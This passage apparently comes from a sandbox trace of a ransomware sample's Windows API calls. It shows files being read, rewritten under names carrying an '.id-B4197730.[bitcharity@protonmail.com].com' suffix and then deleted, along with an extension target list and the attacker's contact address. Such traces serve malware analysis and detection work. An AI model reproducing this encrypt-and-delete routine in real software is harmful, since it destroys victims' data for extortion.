lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x250, lpOverlapped=0x0) returned 1 [0131.168] ReadFile (in: hFile=0x1044, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.169] WriteFile (in: hFile=0x103c, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1 [0131.169] SetEndOfFile (hFile=0x103c) returned 1 [0131.169] CloseHandle (hObject=0x103c) returned 1 [0131.170] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.170] SetEndOfFile (hFile=0x1044) returned 1 [0131.170] CloseHandle (hObject=0x1044) returned 1 [0131.171] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0131.171] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0131.171] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.171] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.171] lstrlenW (lpString=".doc") returned 4 [0131.171] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0131.171] lstrlenW (lpString=".docx") returned 5 [0131.171] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0131.171] lstrlenW (lpString=".pdf") returned 4 [0131.171] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0131.171] lstrlenW (lpString=".xls") returned 4 [0131.171] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0131.171] lstrlenW (lpString=".xlsx") returned 5 [0131.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0131.171] lstrlenW (lpString=".ppt") returned 4 [0131.172] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.172] lstrlenW (lpString=".zip") returned 4 [0131.172] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString=".rar") returned 4 [0131.172] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString=".bz2") returned 4 [0131.172] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0131.172] lstrlenW (lpString=".7z") returned 3 [0131.172] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0131.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.172] lstrlenW (lpString=".dbf") returned 4 [0131.172] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.172] lstrlenW (lpString=".1cd") returned 4 [0131.172] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0131.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.172] lstrlenW (lpString=".jpg") returned 4 [0131.172] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.172] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.172] lstrlenW (lpString=".doc") returned 4 [0131.172] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString=".docx") returned 5 [0131.172] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0131.172] lstrlenW (lpString=".pdf") returned 4 [0131.172] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0131.172] lstrlenW (lpString=".xls") returned 4 [0131.173] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0131.173] lstrlenW (lpString=".xlsx") returned 5 [0131.173] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0131.173] lstrlenW (lpString=".ppt") returned 4 [0131.173] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0131.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.173] lstrlenW (lpString=".zip") returned 4 [0131.173] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0131.173] lstrlenW (lpString=".rar") returned 4 [0131.173] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0131.173] lstrlenW (lpString=".bz2") returned 4 [0131.173] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0131.173] lstrlenW (lpString=".7z") returned 3 [0131.173] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0131.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.173] lstrlenW (lpString=".dbf") returned 4 [0131.173] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0131.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.173] lstrlenW (lpString=".1cd") returned 4 [0131.173] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0131.173] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0131.173] lstrlenW (lpString=".jpg") returned 4 [0131.173] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0131.173] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.173] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.174] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1044 [0131.174] GetFileSizeEx (in: hFile=0x1044, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=17240) returned 1 [0131.174] CloseHandle (hObject=0x1044) returned 1 [0131.174] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0131.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1044 [0131.175] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.175] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0131.278] GetLastError () returned 0x0 [0131.278] ReadFile (in: hFile=0x1044, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x4358, lpOverlapped=0x0) returned 1 [0132.434] WriteFile (in: hFile=0x1088, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4360, lpOverlapped=0x0) returned 1 [0132.435] ReadFile (in: hFile=0x1044, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.435] WriteFile (in: hFile=0x1088, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0132.435] SetEndOfFile (hFile=0x1088) returned 1 [0132.435] CloseHandle (hObject=0x1088) returned 1 [0132.437] SetFilePointerEx (in: hFile=0x1044, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.437] SetEndOfFile (hFile=0x1044) returned 1 [0132.437] CloseHandle (hObject=0x1044) returned 1 [0132.437] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0132.438] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0132.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.438] lstrlenW (lpString=".doc") returned 4 [0132.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0132.438] lstrlenW (lpString=".docx") returned 5 [0132.438] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0132.438] lstrlenW (lpString=".pdf") returned 4 [0132.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0132.438] lstrlenW (lpString=".xls") returned 4 [0132.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0132.438] lstrlenW (lpString=".xlsx") returned 5 [0132.438] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0132.438] lstrlenW (lpString=".ppt") returned 4 [0132.438] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0132.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.438] lstrlenW (lpString=".zip") returned 4 [0132.438] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0132.438] lstrlenW (lpString=".rar") returned 4 [0132.438] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0132.438] lstrlenW (lpString=".bz2") returned 4 [0132.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0132.439] lstrlenW (lpString=".7z") returned 3 [0132.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString=".dbf") returned 4 [0132.439] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString=".1cd") returned 4 [0132.439] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString=".jpg") returned 4 [0132.439] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString=".doc") returned 4 [0132.439] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString=".docx") returned 5 [0132.439] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0132.439] lstrlenW (lpString=".pdf") returned 4 [0132.439] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString=".xls") returned 4 [0132.439] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString=".xlsx") returned 5 [0132.439] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0132.439] lstrlenW (lpString=".ppt") returned 4 [0132.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString=".zip") returned 4 [0132.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString=".rar") returned 4 [0132.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0132.439] lstrlenW (lpString=".bz2") returned 4 [0132.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0132.439] lstrlenW (lpString=".7z") returned 3 [0132.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0132.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.439] lstrlenW (lpString=".dbf") returned 4 [0132.440] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0132.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.440] lstrlenW (lpString=".1cd") returned 4 [0132.440] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0132.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0132.440] lstrlenW (lpString=".jpg") returned 4 [0132.440] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0132.440] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0132.440] lstrlenW (lpString="SetupResources.dll") returned 18 [0132.440] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0133.366] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19288) returned 1 [0133.366] CloseHandle (hObject=0x10ac) returned 1 [0133.366] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0133.366] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0133.367] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.367] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0133.368] GetLastError () returned 0x0 [0133.368] ReadFile (in: hFile=0x10ac, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0133.511] WriteFile (in: hFile=0x10bc, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0133.512] ReadFile (in: hFile=0x10ac, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.512] WriteFile (in: hFile=0x10bc, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0133.512] SetEndOfFile (hFile=0x10bc) returned 1 [0133.513] CloseHandle (hObject=0x10bc) returned 1 [0133.513] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.513] SetEndOfFile (hFile=0x10ac) returned 1 [0133.516] CloseHandle (hObject=0x10ac) returned 1 [0133.516] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.517] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0133.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.517] lstrlenW (lpString=".doc") returned 4 [0133.517] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.517] lstrlenW (lpString=".docx") returned 5 [0133.517] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.517] lstrlenW (lpString=".pdf") returned 4 [0133.517] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.517] lstrlenW (lpString=".xls") returned 4 [0133.517] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.517] lstrlenW (lpString=".xlsx") returned 5 [0133.517] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.517] lstrlenW (lpString=".ppt") returned 4 [0133.517] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.517] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.517] lstrlenW (lpString=".zip") returned 4 [0133.517] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.517] lstrlenW (lpString=".rar") returned 4 [0133.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString=".bz2") returned 4 [0133.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.518] lstrlenW (lpString=".7z") returned 3 [0133.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.518] lstrlenW (lpString=".dbf") returned 4 [0133.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.518] lstrlenW (lpString=".1cd") returned 4 [0133.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.518] lstrlenW (lpString=".jpg") returned 4 [0133.518] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.518] lstrlenW (lpString=".doc") returned 4 [0133.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString=".docx") returned 5 [0133.518] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.518] lstrlenW (lpString=".pdf") returned 4 [0133.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString=".xls") returned 4 [0133.518] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString=".xlsx") returned 5 [0133.518] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.518] lstrlenW (lpString=".ppt") returned 4 [0133.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.518] lstrlenW (lpString=".zip") returned 4 [0133.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.518] lstrlenW (lpString=".rar") returned 4 [0133.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.519] lstrlenW (lpString=".bz2") returned 4 [0133.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.519] lstrlenW (lpString=".7z") returned 3 [0133.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.519] lstrlenW (lpString=".dbf") returned 4 [0133.519] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.519] lstrlenW (lpString=".1cd") returned 4 [0133.519] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0133.519] lstrlenW (lpString=".jpg") returned 4 [0133.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.519] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0133.519] lstrlenW (lpString="SetupResources.dll") returned 18 [0133.519] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0133.519] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18264) returned 1 [0133.519] CloseHandle (hObject=0x10ac) returned 1 [0133.519] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0133.520] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0133.520] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.520] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0134.642] GetLastError () returned 0x0 [0134.642] ReadFile (in: hFile=0x10ac, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0134.897] WriteFile (in: hFile=0x10a0, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0134.899] ReadFile (in: hFile=0x10ac, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.899] WriteFile (in: hFile=0x10a0, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0134.899] SetEndOfFile (hFile=0x10a0) returned 1 [0134.899] CloseHandle (hObject=0x10a0) returned 1 [0134.901] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.901] SetEndOfFile (hFile=0x10ac) returned 1 [0134.902] CloseHandle (hObject=0x10ac) returned 1 [0134.902] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.903] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0134.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.903] lstrlenW (lpString=".doc") returned 4 [0134.903] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.903] lstrlenW (lpString=".docx") returned 5 [0134.903] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.903] lstrlenW (lpString=".pdf") returned 4 [0134.903] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.903] lstrlenW (lpString=".xls") returned 4 [0134.903] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.903] lstrlenW (lpString=".xlsx") returned 5 [0134.903] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.904] lstrlenW (lpString=".ppt") returned 4 [0134.904] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0134.904] lstrlenW (lpString=".zip") returned 4 [0134.904] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.904] lstrlenW (lpString=".rar") returned 4 [0134.904] 